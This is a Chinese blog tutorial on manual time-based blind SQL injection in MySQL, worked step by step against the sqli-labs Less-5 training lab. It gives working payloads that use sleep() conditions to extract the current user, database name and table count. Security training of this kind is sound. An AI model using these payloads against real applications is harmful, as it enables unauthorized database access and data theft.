MySQL 手注之延时盲注

一、什么时候用延时盲注?

  无论传递什么参数,语句都不会变化,页面都只返回一种结果可考虑使用延时盲注  

二、函数

    sleep(duration)函数, 其中duration参数为延迟的时间,单位为秒。

三、基本步骤

  1.判断是否存在延迟注⼊(字符还是数字)    //靶场采用sqli-labs/less-5

    语句:1‘ and sleep(3)

    说明:如果存在注入点,页面的载入则会延迟三秒

  2.判断数据库版本

    语句:同报错注入

    说明:如果数据库版本大于5.0则使用sleep()函数,小于5.0则使用benchmark()函数

  3.判断当前用户名长度

    语句:1‘and if(length(substr(user(),1))=14,sleep(5),1) --+     //这里substr函数也可以不用

  4.判断当前用户名

    语句:1' and if(ascii(substr(user(),1,1))=114,sleep(5),1)--+  //可以得出用户名第一个字符为小写字母r,修改substr的参数可以得出完整用户名

        ..........................

  5.判断数据库名长度

    语句:1‘ and if(length(database())=8,sleep(5),1) --+ 

    说明:这里的数据库长度为8个字符

  6.猜解数据库名称

    语句:1’ and if(ascii(substr(database(),1,1))>100,sleep(5),1)--+

        .......................

    说明:可推出当前数据库名称为security

  7.猜解表数量

    语句:1' and if((select count(table_name) from information_schema.tables where table_schema='security')=4,sleep(3),1)--+ 

        //得出表名数量为4

  后面的、表名、字段数量、字段名等等跟布尔盲注的原理大致类似,这里将IF函数理解到位即可得出所有内容

 

posted @ 2021-04-11 15:01  小雷啊  阅读(375)  评论(0)    收藏  举报